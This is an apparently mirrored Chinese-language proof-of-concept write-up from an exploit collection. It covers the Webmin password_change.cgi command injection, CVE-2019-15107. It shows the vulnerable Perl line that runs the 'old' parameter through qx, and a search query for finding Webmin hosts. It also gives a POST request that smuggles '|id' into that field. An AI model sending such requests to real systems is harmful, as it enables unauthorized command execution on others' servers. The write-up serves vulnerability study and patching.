mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 11:27:43 +00:00
55 lines
1.6 KiB
Markdown
55 lines
1.6 KiB
Markdown
|
# Webmin password_change.cgi 远程命令执行漏洞 CVE-2019-15107
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页。面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Webmin <= 1.920
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="webmin"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
漏洞的触发点为文件 password_change.cgi
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
其中接受的POST传参的几个参数为 `user pam expired old new1 new2`， 值得注意的参数为 old, 对应的代码片段存在漏洞
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
if ($wuser) {
|
|||
|
|
# Update Webmin user's password
|
|||
|
|
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
|
|||
|
|
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
|
|||
|
|
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
|
|||
|
|
$perr && &pass_error(&text('password_enewpass', $perr));
|
|||
|
|
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
|
|||
|
|
$wuser->{'temppass'} = 0;
|
|||
|
|
&acl::modify_user($wuser->{'name'}, $wuser);
|
|||
|
|
&reload_miniserv();
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
在 perl 中 `qx/id/`, 对应执行系统命令 id, 而可控的参数里 old 参数是可控的，导致命令执行 并通过 pass_error 回显至页面中， 验证POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /password_change.cgi
|
|||
|
|
|
|||
|
|
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|